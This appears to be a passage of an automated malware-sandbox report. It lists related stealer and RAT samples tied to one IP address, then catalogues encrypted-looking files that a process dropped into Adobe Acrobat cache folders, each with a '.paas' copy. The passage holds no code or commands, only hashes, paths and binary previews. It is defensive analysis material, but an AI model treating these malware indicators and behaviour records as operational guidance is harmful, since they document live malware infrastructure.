37f463bf4616ecd445d4a1937da06e19	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	188.114.96.3
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	188.114.96.3
	wifipr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	T15hf0Y3mp.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	sbOq2d6k2t.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse	188.114.96.3
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	GK059kPZ5B.exe	Get hash	malicious	Stealc	Browse	188.114.96.3
	TP77MvSzt2.exe	Get hash	malicious	Stealc	Browse	188.114.96.3
	jicQJ2cdlM.exe	Get hash	malicious	Stealc	Browse	188.114.96.3

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.993391529870109
Encrypted:	false
SSDEEP:	3:PnDCiBkp8fxkIgUov:vFm8pdgUov
MD5:	C9141ABC06F106BB6D58DEB107253AC0
SHA1:	8C748834DC38500D3632E3B6428977B02A6C8B84
SHA-256:	3D7CC5C63E5AC14B56E12C37FFA484EB9C4C3C28F89F36579D1D02DA2433B0A2
SHA-512:	F01916DED59752B7AD45DF8E2C83E9A809B0FD1DE8F17863C973F9139BA4E4AC18AEDEF97C196AD782A6E733FAAFD9FCDD5447C82EC71676DEB0F1D86097D203
Malicious:	false
Reputation:	low
Preview:	LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.652334135556109
Encrypted:	false
SSDEEP:	12:kuZD4GF6+aAcJC6pS8XVLsDKGhAj81f+3PXOy9gcnS2cii9a:jlF6PAf6pS8XVLsGGSjOaPeq3bD
MD5:	CB5914FEBE71DA93209D5DC930CF6CB0
SHA1:	88047EB0CB47343AF6D3D2E583708987044879CB
SHA-256:	92FAF9BBBB5FC622D0BCA1E437689FDB5ADC28FDD927DD52E108E8AC7941FE5C
SHA-512:	0DA01CEB51DD95B24D80BCD0775290661F9F632EC8E47803E07DF80C3FC3B32688C88491517B8D8681886A9687AB243142B7310E556949EDF87703D7F83A3B37
Malicious:	false
Reputation:	low
Preview:	2023/P....._.a...<...Vw6s..`k.H...h.2uI....JD.......U..\|...Ke6.....PT..5.h.'.Ph...)....-.\|...g.x.3..,..X3W.m.n.4....a.\|0....2..%.HEi..$Q..4_..2....H:..th(oy<......+.Nc.e9.L\..c.,..W2./..J...9.....n.5.E..q%QG....F.....yn..k`.g...B..............{.3...N..b...j+..H.b..Za=3.8u..ZA.....$........!. .zwF........."..n.we.z......&...w..a.{1.pn.....M.q'S.b...y.... .....Ln..x8!3t..).!.b..a.;.So...2N...H..? x]e.B+.;..h....6'..G..$....J...N..P.(.....5......^e^..:ARm)~..V...`...l'...AK.5....i...>........2...ra.>L...........m.{..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.652334135556109
Encrypted:	false
SSDEEP:	12:kuZD4GF6+aAcJC6pS8XVLsDKGhAj81f+3PXOy9gcnS2cii9a:jlF6PAf6pS8XVLsGGSjOaPeq3bD
MD5:	CB5914FEBE71DA93209D5DC930CF6CB0
SHA1:	88047EB0CB47343AF6D3D2E583708987044879CB
SHA-256:	92FAF9BBBB5FC622D0BCA1E437689FDB5ADC28FDD927DD52E108E8AC7941FE5C
SHA-512:	0DA01CEB51DD95B24D80BCD0775290661F9F632EC8E47803E07DF80C3FC3B32688C88491517B8D8681886A9687AB243142B7310E556949EDF87703D7F83A3B37
Malicious:	false
Reputation:	low
Preview:	2023/P....._.a...<...Vw6s..`k.H...h.2uI....JD.......U..\|...Ke6.....PT..5.h.'.Ph...)....-.\|...g.x.3..,..X3W.m.n.4....a.\|0....2..%.HEi..$Q..4_..2....H:..th(oy<......+.Nc.e9.L\..c.,..W2./..J...9.....n.5.E..q%QG....F.....yn..k`.g...B..............{.3...N..b...j+..H.b..Za=3.8u..ZA.....$........!. .zwF........."..n.we.z......&...w..a.{1.pn.....M.q'S.b...y.... .....Ln..x8!3t..).!.b..a.;.So...2N...H..? x]e.B+.;..h....6'..G..$....J...N..P.(.....5......^e^..:ARm)~..V...`...l'...AK.5....i...>........2...ra.>L...........m.{..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.677343492692742
Encrypted:	false
SSDEEP:	12:kXYRkdWdfgnxOXtXDf7xN3GPiQG9J7fKdC/eOlXpYMYbZmfNWZrWyS2cii9a:g8donodTfVNyrG9J7ig/tlOpZmc4ybD
MD5:	9A0F9E4A850C7A22D0947E170E46ADB0
SHA1:	2DFCA5B238474487E6A88973BF292C2F32FDEDE3
SHA-256:	8778F68F4EA9C2A0D36C1520D5EBC11D38A413568D55C02D042AB722F0BDB8F7
SHA-512:	82D75127720758800CACEAD039E2F91724CA553DEFE01F4B8979188495F9C938E64A71D7E0575E3D16A5ED5F924026B51A6C151E958E9D922B6432129A26C66B
Malicious:	false
Reputation:	low
Preview:	2023/c.Q].b.,.ZcusJ.S..mV...=..A..d........>...W.@k..N...%.3.#..jt..r~HD.L...=r~......2..&..e5.}.%.o..y..T..S.R.6]m)...s8..H?...rP.$!4.vWhw....8.".......6OxJ$....Y)C..2.j.....3..h.s&..a=.3.(..a. .*..unu[b.....<...]..1^z....d..l.(.b.Qz.~.oMR(k...rT.X?.U...F_.k....{I..l0\|....::..B.....U..U"v..."9...{.o...QD....4N.n.QYk.b.......-...........^.i..$..{"S...[.S...W..6.fI.....%..;..k.3.RDF..]..=o.N.aD..#......:8r.k.+.$.m...N.D^J..c.W.I..\._..jP1_`..@...[..p.`...l.Y^.?vd %....-av...)}f(..?=....#..>....Ep1~}}.\...0...d../<!..#S.z[def..z....M.?...{p....%..{.Y....X..TLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.677343492692742
Encrypted:	false
SSDEEP:	12:kXYRkdWdfgnxOXtXDf7xN3GPiQG9J7fKdC/eOlXpYMYbZmfNWZrWyS2cii9a:g8donodTfVNyrG9J7ig/tlOpZmc4ybD
MD5:	9A0F9E4A850C7A22D0947E170E46ADB0
SHA1:	2DFCA5B238474487E6A88973BF292C2F32FDEDE3
SHA-256:	8778F68F4EA9C2A0D36C1520D5EBC11D38A413568D55C02D042AB722F0BDB8F7
SHA-512:	82D75127720758800CACEAD039E2F91724CA553DEFE01F4B8979188495F9C938E64A71D7E0575E3D16A5ED5F924026B51A6C151E958E9D922B6432129A26C66B
Malicious:	false
Reputation:	low
Preview:	2023/c.Q].b.,.ZcusJ.S..mV...=..A..d........>...W.@k..N...%.3.#..jt..r~HD.L...=r~......2..&..e5.}.%.o..y..T..S.R.6]m)...s8..H?...rP.$!4.vWhw....8.".......6OxJ$....Y)C..2.j.....3..h.s&..a=.3.(..a. .*..unu[b.....<...]..1^z....d..l.(.b.Qz.~.oMR(k...rT.X?.U...F_.k....{I..l0\|....::..B.....U..U"v..."9...{.o...QD....4N.n.QYk.b.......-...........^.i..$..{"S...[.S...W..6.fI.....%..;..k.3.RDF..]..=o.N.aD..#......:8r.k.+.$.m...N.D^J..c.W.I..\._..jP1_`..@...[..p.`...l.Y^.?vd %....-av...)}f(..?=....#..>....Ep1~}}.\...0...d../<!..#S.z[def..z....M.?...{p....%..{.Y....X..TLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.730357392078346
Encrypted:	false
SSDEEP:	24:YKW5isjsdxXf2nwDLUe1JvYrGqUMTWRkc23G/H9bD:YUMmJxYr3UMTWmW/H9D
MD5:	01B72186756AED556D53043378F04CD8
SHA1:	42E4F425DDDC8EC326552FB56A6C96F6EA709AC3
SHA-256:	8C5E4CEB6C455DD81EA96A026547904DDBBD6EDB82DE4111CB5362824CCD09CB
SHA-512:	A634C4BB03AA0B86249D6AF56442BC76F4F05BACAD4E17FA6FCE436BC5B498152A1C29C3EF48F64AE3955A7DF9A117605CFD4AFA50C27EB3177A041557F048F5
Malicious:	false
Reputation:	low
Preview:	{"os_2..\|..R..n..v.#;iG.....7..!]r.Rc..c.s..?...{zsIN....\|d.5x..Q;.S_.s.@mv+.....x.-j53.a..}i..sx3...G#EI..f.0............Y....ps(V$f8J.^....5;.8...y-....@eF.2.\.,).&.,..-..J..^..+.XJ3..5.u.+..q8..E...bD/_#oTFF.j....7..o....Z..r...\|.Ss....Q.:..u..u..Q.....5]".W.....5F...K..5[_..fw..Aw..R....!:..Un..Rbo.`......_]&^.B....35..ob..3..?U.m......q...M.....;..5...-.<..?.A..q0.Y..\|...oN{S.8...z...M..[......i....9.eM7R...er.y\.=...n..7.f.q>l..pt..3.......8I.o.....m..CiyY..wSAB...!u..H.)Y.....z.Q&..Y7.?..TD.\v...u-.......EMO..c..".O1RU.+..v[.5W......+...y.Z.\|.......l.L.!N...rU.u&..W.=.}&J..N.%...f..k.f...?....hcI....zS.zF}.^......J..:A..0e/3....-q]B.`./....~.<....5..L..oG..}.H.Xp.n'...$u.3.D...,......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.730357392078346
Encrypted:	false
SSDEEP:	24:YKW5isjsdxXf2nwDLUe1JvYrGqUMTWRkc23G/H9bD:YUMmJxYr3UMTWmW/H9D
MD5:	01B72186756AED556D53043378F04CD8
SHA1:	42E4F425DDDC8EC326552FB56A6C96F6EA709AC3
SHA-256:	8C5E4CEB6C455DD81EA96A026547904DDBBD6EDB82DE4111CB5362824CCD09CB
SHA-512:	A634C4BB03AA0B86249D6AF56442BC76F4F05BACAD4E17FA6FCE436BC5B498152A1C29C3EF48F64AE3955A7DF9A117605CFD4AFA50C27EB3177A041557F048F5
Malicious:	false
Reputation:	low
Preview:	{"os_2..\|..R..n..v.#;iG.....7..!]r.Rc..c.s..?...{zsIN....\|d.5x..Q;.S_.s.@mv+.....x.-j53.a..}i..sx3...G#EI..f.0............Y....ps(V$f8J.^....5;.8...y-....@eF.2.\.,).&.,..-..J..^..+.XJ3..5.u.+..q8..E...bD/_#oTFF.j....7..o....Z..r...\|.Ss....Q.:..u..u..Q.....5]".W.....5F...K..5[_..fw..Aw..R....!:..Un..Rbo.`......_]&^.B....35..ob..3..?U.m......q...M.....;..5...-.<..?.A..q0.Y..\|...oN{S.8...z...M..[......i....9.eM7R...er.y\.=...n..7.f.q>l..pt..3.......8I.o.....m..CiyY..wSAB...!u..H.)Y.....z.Q&..Y7.?..TD.\v...u-.......EMO..c..".O1RU.+..v[.5W......+...y.Z.\|.......l.L.!N...rU.u&..W.=.}&J..N.%...f..k.f...?....hcI....zS.zF}.^......J..:A..0e/3....-q]B.`./....~.<....5..L..oG..}.H.Xp.n'...$u.3.D...,......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.950353250438241
Encrypted:	false
SSDEEP:	96:ZnatqevJQBTDEZT2Rhh+YQ6TVty9/XVJ1q9TBJQkqnubiSrDat:h8RhQBvE0BsDfVJ1q9lPGSrDat
MD5:	65AEEC0C75F9BCD0A6A2A49B542B1E07
SHA1:	185923B5B7BC1CE4ED1D84452079E0684ECD41E0
SHA-256:	3B9061E65AFA8A33EC7A10EA4C26067D80DC20B46CD1D09EE76F6BF762056833
SHA-512:	7D9FAB5112E11454107F2E81DBC5F4050079C60BEDF7C23882126C3589FAC4F76B056749E80562BE9D6BD4F701C3C3FE3BC47EF96D218F9E1C41A18BF85BB3FD
Malicious:	false
Preview:	...#.G.........AM.....tm.....1..\|.qGP..2 /.R.,Q.7vOP....'2l..SS..R1......>...'..L..j5nPG..kQ....u./.1.r....../.eE.?g.2..K.L.-...q...n.p4y8......F..^.Y....5\?Y.....}LN@V. hDb....~..$:..y..zB.}t.bxc...y\|..Z9.h.E..... {.U0..M.U.X.\.MRVhC...\|...1."...#...V.&....^...\....:.e..N.K..........].....;...........d..~....D...E1....;Us..$.t)N.`m.\'l..8..#..}.....8)..+ye.vcmg_f...].......J.B.lC.".H.c..e.z.V.....4R.i.k..X...Z.N.&.B..S..6T[....P..r{R..y.J..8.......7.E......#.,X..z...C9g....F........ .....Wm.W......ff..F7a...H<BO...R.d..;..rw4.....8..B..<.yYU...(Td7...;K....J..w[l...0u..:.C.../ 3.p:t.esTw.s.....m...........T....#P....'.`Q.N."].T a...S........f....O.)......s...g.....v.Q...x.b...... .P.sg....2Bs...T..y.+...?T....X......z.8 ..).5q...`\|.....%...9.........._..45.S..W$tX..62.`.R'..t..]cQU*.H;.\t..I."`.2.SDn........+..=F.].......2B8.:...}....T6.LJg7.y..........0.p..`1.}......D.\Q......X....$C.H.bb.....h..8Yk4.u....g....'.\|8..:..C.%V.v-.$@

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.950353250438241
Encrypted:	false
SSDEEP:	96:ZnatqevJQBTDEZT2Rhh+YQ6TVty9/XVJ1q9TBJQkqnubiSrDat:h8RhQBvE0BsDfVJ1q9lPGSrDat
MD5:	65AEEC0C75F9BCD0A6A2A49B542B1E07
SHA1:	185923B5B7BC1CE4ED1D84452079E0684ECD41E0
SHA-256:	3B9061E65AFA8A33EC7A10EA4C26067D80DC20B46CD1D09EE76F6BF762056833
SHA-512:	7D9FAB5112E11454107F2E81DBC5F4050079C60BEDF7C23882126C3589FAC4F76B056749E80562BE9D6BD4F701C3C3FE3BC47EF96D218F9E1C41A18BF85BB3FD
Malicious:	false
Preview:	...#.G.........AM.....tm.....1..\|.qGP..2 /.R.,Q.7vOP....'2l..SS..R1......>...'..L..j5nPG..kQ....u./.1.r....../.eE.?g.2..K.L.-...q...n.p4y8......F..^.Y....5\?Y.....}LN@V. hDb....~..$:..y..zB.}t.bxc...y\|..Z9.h.E..... {.U0..M.U.X.\.MRVhC...\|...1."...#...V.&....^...\....:.e..N.K..........].....;...........d..~....D...E1....;Us..$.t)N.`m.\'l..8..#..}.....8)..+ye.vcmg_f...].......J.B.lC.".H.c..e.z.V.....4R.i.k..X...Z.N.&.B..S..6T[....P..r{R..y.J..8.......7.E......#.,X..z...C9g....F........ .....Wm.W......ff..F7a...H<BO...R.d..;..rw4.....8..B..<.yYU...(Td7...;K....J..w[l...0u..:.C.../ 3.p:t.esTw.s.....m...........T....#P....'.`Q.N."].T a...S........f....O.)......s...g.....v.Q...x.b...... .P.sg....2Bs...T..y.+...?T....X......z.8 ..).5q...`\|.....%...9.........._..45.S..W$tX..62.`.R'..t..]cQU*.H;.\t..I."`.2.SDn........+..=F.].......2B8.:...}....T6.LJg7.y..........0.p..`1.}......D.\Q......X....$C.H.bb.....h..8Yk4.u....g....'.\|8..:..C.%V.v-.$@

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.640326222008919
Encrypted:	false
SSDEEP:	12:kh6ajsxFVBuE48NpdcZuM72KzC3zZY9akm/JNv7qJv7kx/pBo/8XvS2cii9a:jTx5uEppoeECDFk0Nv7ovox/E/8PbD
MD5:	06CB531C99A6094AD767485B94435B2C
SHA1:	A69590C3DF28CF0C51A731D480C81CBF388525E9
SHA-256:	BE26B6287955CFDBB0B59CA9089FB9A3CF057F9036B71C991C7B92FBF329325C
SHA-512:	8D343E239E85B9EBC20F9D391EC27318305E3608ED06F0B25704508C49817293C8240797FBFF2D2C4867AD75BC0678D09CE91A3EDB2CB31295995E70795E44EA
Malicious:	false
Preview:	2023/."c...8(.{...\..e..4....Ix^.xcov..xm..,.Y.x+.......w..ou@......r5.-......I.N.%.n.....d\|....O.G#I.S..f..K..Mci....d{...m.2..Y.w...X.pE..n...'.....<.(dP..:..)u..1D`rF.h.rG?..bOt.qJ..z..;.p..-...^.jQ1...\.0.}.&b.nBL..K...p.W.......n.7+..P\....T0f#l.?.s..vm..F.#.....9\|.\+...Z.V.r.r.....OZO..{wA..F.xr.7.<.".......%*>.o\|sF..VH.y_..G...~.:.7....>..8Ts..[y.W..`.V....[.tO........D.9S...l..=......oh..nK.hF.V.[......`......&..{w..=..j..6....8....}...KO.oZo.Z{..J...&F.....5...5S....i n...}..x...%.Vz..K.~.....'..rp#V)K.b......... .Ni.-.C.9l6...B.g..`v...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.640326222008919
Encrypted:	false
SSDEEP:	12:kh6ajsxFVBuE48NpdcZuM72KzC3zZY9akm/JNv7qJv7kx/pBo/8XvS2cii9a:jTx5uEppoeECDFk0Nv7ovox/E/8PbD
MD5:	06CB531C99A6094AD767485B94435B2C
SHA1:	A69590C3DF28CF0C51A731D480C81CBF388525E9
SHA-256:	BE26B6287955CFDBB0B59CA9089FB9A3CF057F9036B71C991C7B92FBF329325C
SHA-512:	8D343E239E85B9EBC20F9D391EC27318305E3608ED06F0B25704508C49817293C8240797FBFF2D2C4867AD75BC0678D09CE91A3EDB2CB31295995E70795E44EA
Malicious:	false
Preview:	2023/."c...8(.{...\..e..4....Ix^.xcov..xm..,.Y.x+.......w..ou@......r5.-......I.N.%.n.....d\|....O.G#I.S..f..K..Mci....d{...m.2..Y.w...X.pE..n...'.....<.(dP..:..)u..1D`rF.h.rG?..bOt.qJ..z..;.p..-...^.jQ1...\.0.}.&b.nBL..K...p.W.......n.7+..P\....T0f#l.?.s..vm..F.#.....9\|.\+...Z.V.r.r.....OZO..{wA..F.xr.7.<.".......%*>.o\|sF..VH.y_..G...~.:.7....>..8Ts..[y.W..`.V....[.tO........D.9S...l..=......oh..nK.hF.V.[......`......&..{w..=..j..6....8....}...KO.oZo.Z{..J...&F.....5...5S....i n...}..x...%.Vz..K.~.....'..rp#V)K.b......... .Ni.-.C.9l6...B.g..`v...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.458248459491732
Encrypted:	false
SSDEEP:	12:eCwUjR3UoejniXnSBOjS4ogcmqVabkt5jBjS2cii9a:eIjFURi3SvFgcH3t5jNbD
MD5:	89F3F0AC7E6AAA2B6F9DEF871A6FD358
SHA1:	6E0EFA933E783F2BD6F0B0BD00102C8BE5C22EAA
SHA-256:	08F1930E6ED539E5E67681CA52FB7F4CCE3720615EF7030440A13DB64A255607
SHA-512:	2E8F83410E714F992C16FE00354EEEC533234BB32413746D2AAD9154E40197C46CC383A22A72ABE2289189B847679EFB28424348808E6A84B58C653B6D27E5B7
Malicious:	false
Preview:	S.z1..~??e.y..(...s'3.c.....u;.A.W.0%...%75"....v^I......h..w7...#...U,..@.>......y.h.G..)4W.....;.o.O4.....a.+n....bD..N..........>j..^h.j7.z..O.y.W^...;..w.9.SF.v.ke.Z.... ..FO.0$......MI....:....k.i.)..;r.o\|..7....9...........Jt.5eE.\|...h....(Ut\...b.,kr.7.b./.O)+..'..x.d.]...X..)....c,........^.t0!o&.."?..o..,.w.*=."....mk.......:Ks/LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.458248459491732
Encrypted:	false
SSDEEP:	12:eCwUjR3UoejniXnSBOjS4ogcmqVabkt5jBjS2cii9a:eIjFURi3SvFgcH3t5jNbD
MD5:	89F3F0AC7E6AAA2B6F9DEF871A6FD358
SHA1:	6E0EFA933E783F2BD6F0B0BD00102C8BE5C22EAA
SHA-256:	08F1930E6ED539E5E67681CA52FB7F4CCE3720615EF7030440A13DB64A255607
SHA-512:	2E8F83410E714F992C16FE00354EEEC533234BB32413746D2AAD9154E40197C46CC383A22A72ABE2289189B847679EFB28424348808E6A84B58C653B6D27E5B7
Malicious:	false
Preview:	S.z1..~??e.y..(...s'3.c.....u;.A.W.0%...%75"....v^I......h..w7...#...U,..@.>......y.h.G..)4W.....;.o.O4.....a.+n....bD..N..........>j..^h.j7.z..O.y.W^...;..w.9.SF.v.ke.Z.... ..FO.0$......MI....:....k.i.)..;r.o\|..7....9...........Jt.5eE.\|...h....(Ut\...b.,kr.7.b./.O)+..'..x.d.]...X..)....c,........^.t0!o&.."?..o..,.w.*=."....mk.......:Ks/LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.6569774520289
Encrypted:	false
SSDEEP:	12:k+acSN5Zk3Pyb43UXjlN202SATPA/BEuMnZ931jzBef84CDMRerH2zLvS2cii9a:SNHyab43Ojj202SATPj1ZeErUbbD
MD5:	DC138E7D3804182F00E92D0A31AA7094
SHA1:	F05EB62308FB92F7FEC0B0992D785FD753FD7B44
SHA-256:	A544DC19931A869BD835295CB4218CD1D0CE111F75FADEC1CBF24990FF4598E8
SHA-512:	5897252D69DD215461DDCBDF2F7B36509CA5EC571C4B9BB3FA33A9E2081F29681E80EE51DCE2260504756F5CADCFAE89D952B6BE49752C84E0B2DB38F563905B
Malicious:	false
Preview:	2023/....sf......G0..w.,....s.M..Z..FA.w.'Q.X^..Y.:..[.......+........u.............O{.....'......'...\.l.Z....M##.... h...8.)q:..(.A..!.p..w....9.........3....._\|..D.e%U......p....!....#..k.D.._B...;...e{.....]......[2...Q.f{..h\.h..h%...l.L....>...'S.;..v\|.o!jh.d.F=....._...h....'.^...4..V1.C..C..z......_..A.'..+.e..p.O....x.h....zV.ho.............M.q?.)...aU..N..N*.......v..g..1c.O..P...c..X.....bN...Y.)...-..x.H...A:@.d.a..u."P5..N>q.& >..MJfh.2~...u.%bs..'..y..) ..^..\|/X.{..../.L...mD..8..Q..`.Gr.H..`.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.6569774520289
Encrypted:	false
SSDEEP:	12:k+acSN5Zk3Pyb43UXjlN202SATPA/BEuMnZ931jzBef84CDMRerH2zLvS2cii9a:SNHyab43Ojj202SATPj1ZeErUbbD
MD5:	DC138E7D3804182F00E92D0A31AA7094
SHA1:	F05EB62308FB92F7FEC0B0992D785FD753FD7B44
SHA-256:	A544DC19931A869BD835295CB4218CD1D0CE111F75FADEC1CBF24990FF4598E8
SHA-512:	5897252D69DD215461DDCBDF2F7B36509CA5EC571C4B9BB3FA33A9E2081F29681E80EE51DCE2260504756F5CADCFAE89D952B6BE49752C84E0B2DB38F563905B
Malicious:	false
Preview:	2023/....sf......G0..w.,....s.M..Z..FA.w.'Q.X^..Y.:..[.......+........u.............O{.....'......'...\.l.Z....M##.... h...8.)q:..(.A..!.p..w....9.........3....._\|..D.e%U......p....!....#..k.D.._B...;...e{.....]......[2...Q.f{..h\.h..h%...l.L....>...'S.;..v\|.o!jh.d.F=....._...h....'.^...4..V1.C..C..z......_..A.'..+.e..p.O....x.h....zV.ho.............M.q?.)...aU..N..N*.......v..g..1c.O..P...c..X.....bN...Y.)...-..x.H...A:@.d.a..u."P5..N>q.& >..MJfh.2~...u.%bs..'..y..) ..^..\|/X.{..../.L...mD..8..Q..`.Gr.H..`.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.556343334204134
Encrypted:	false
SSDEEP:	12:GEsv6bw3NmIcrdtFQF8wue0/bZ1jewgvRW7oftoFPRLCYzLbS2cii9a:GCbw3NKtm8wutl3gvRW7woFVbbD
MD5:	8B42D6CA53CFF1E3892BC4E3F3CB9C3B
SHA1:	0504B25E3ADDF40867E312C654E541BEB8427938
SHA-256:	DDFC3E6CAD72AB203C1181C5D8B42232BD6B5148EB84EB0BDFE085CCD4E2428A
SHA-512:	7D4BEBCC1F2782459289333FE8E4BB9E6E785C7DBE89FD6E8426AD7461AACD32353D9BD021ED4E123764D6174A6DEDC5E70B4B15BE4C380378FDCC4889A6BAB9
Malicious:	false
Preview:	.h.6.,..!...u.........x....D.~lx....efg.).L~...J.n...:mW\|....8.2w.c.e..K.[u..=f).D...E..6.........-=..T.....?.....[d../..X.h?.*.-..p-...@..a....Fy.5..d.......9.m)..2./=.AR....#\.}.0...c.5r...............y\...y. ..].+..bD..09........;.\|.g.U....)..b.G9.^l.D......D.......7......@.{.@.{.P..M...6.."...bo.. .).uH....q....z..OC..rCK...2K..].......$..`...lA;....b..&l..]...#...:9K9...i...Dd...7.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.paas (copy)

Download File

